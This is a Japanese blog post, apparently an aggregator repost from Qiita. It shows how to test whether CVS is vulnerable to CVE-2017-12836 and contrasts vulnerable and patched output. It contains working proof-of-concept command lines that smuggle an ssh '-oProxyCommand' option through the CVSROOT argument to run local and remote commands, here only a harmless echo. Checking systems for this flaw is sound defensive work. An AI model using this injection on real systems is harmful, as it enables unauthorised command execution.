CVSの脆弱性(CVE-2017-12836)の確認の仕方
はじめに
「うんこもりもり」で有名になったGitの脆弱性だが、SubversionやCVSにも同様な脆弱性が存在する。CVSの場合はCVE-2017-12836という識別子が与えられている。しかし、Subversionはともかく、CVSは治ったのかどうなのか確認が難しい。とりあえず現時点(2017年10月6日)では、
CentOS (yum) 7: CVS 1.11.23
MacOS (HomeBrew): CVS 1.12.13
Windows (Cygwin): CVS 1.11.23
に脆弱性が残っている。
以下に確認方法を示す。
脆弱性の確認
脆弱性の本質は、cvsのCVSROOTをコマンドラインから指定するオプション-d
に、ProxyCommandを指定できるOSコマンドインジェクションだと思われる。まずはローカルでこんなテストをする。
$ export CVS_RSH=ssh
$ mkdir temp;cd temp
$ ls # ファイルは何もない
$ cvs -d '-oProxyCommand=echo hello>hello.txt;hoge:/hoge' co hoge
Pseudo-terminal will not be allocated because stdin is not a terminal.
ssh_exchange_identification: Connection closed by remote host
cvs [checkout aborted]: end of file from server (consult above messages if any)
$ ls
hello.txt
ProxyCommandとしてecho hello>hello.txt
が実行され、ファイルが作成された。このように、ローカルのユーザ権限でできることはなんでもできる。
次に、リモートサーバの場合。ユーザはremote.server.comに、usernameというアカウントでsshログインできるとする。ssh-agentが鍵を覚えており、パスワード入力なしに接続できる状態を想定する。
$ ssh -l username remote.server.com "ls hello.txt" # リモートにhello.txtが無いことを確認
ls: cannot access hello.txt: No such file or directory
$ cvs -d '-oProxyCommand=ssh -l username remote.server.com "echo hello>hello.txt";hoge:/hoge' co hoge
Pseudo-terminal will not be allocated because stdin is not a terminal.
ssh_exchange_identification: Connection closed by remote host
cvs [checkout aborted]: end of file from server (consult above messages if any)
$ ssh -l username remote.server.com "ls hello.txt" # リモートを再度確認
hello.txt
上記のように、脆弱性のあるCVSでは、ローカル、リモートともに-d
オプションとProxyCommand
のあわせ技で好き放題できる。
脆弱性が無い場合
対策されたCVSを使うと上記のようなことはおきない。Program Temporary FixというパッチがあたったCVSで試す。
$ mkdir temp;cd temp
$ ls # ファイルは何もない
$ cvs -d '-oProxyCommand=echo hello>hello.txt;hoge:/hoge' co hoge
cvs checkout: CVSROOT (`-oProxyCommand=echo hello>hello.txt;hoge:/hoge') must not start with a dash.
cvs [checkout aborted]: Bad CVSROOT: `-oProxyCommand=echo hello>hello.txt;hoge:/hoge'.
$ ls # ファイルが作成されない
エラーメッセージが変わったのがわかると思う。同様にリモートサーバにもアクセスできない。
まとめ
通称「うんこもりもり脆弱性」のCVS版のチェック方法を紹介した。とりあえず手元にあった
CentOS (yum) 7: CVS 1.11.23
MacOS (HomeBrew): CVS 1.12.13
Windows (Cygwin): CVS 1.11.23
には脆弱性があった。また、ベンダーから提供されたパッチで脆弱性が修正されていることも確認できた。
まだCVS使っているところがあるか知らないけど、もし使っている場合はパッチをあてるなりなんとかしてください。
参考
Author And Source
この問題について(CVSの脆弱性(CVE-2017-12836)の確認の仕方), 我々は、より多くの情報をここで見つけました https://qiita.com/kaityo256/items/cb0c33e5759bfaab1474著者帰属:元の著者の情報は、元のURLに含まれています。著作権は原作者に属する。
Content is automatically searched and collected through network algorithms . If there is a violation . Please contact us . We will adjust (correct author information ,or delete content ) as soon as possible .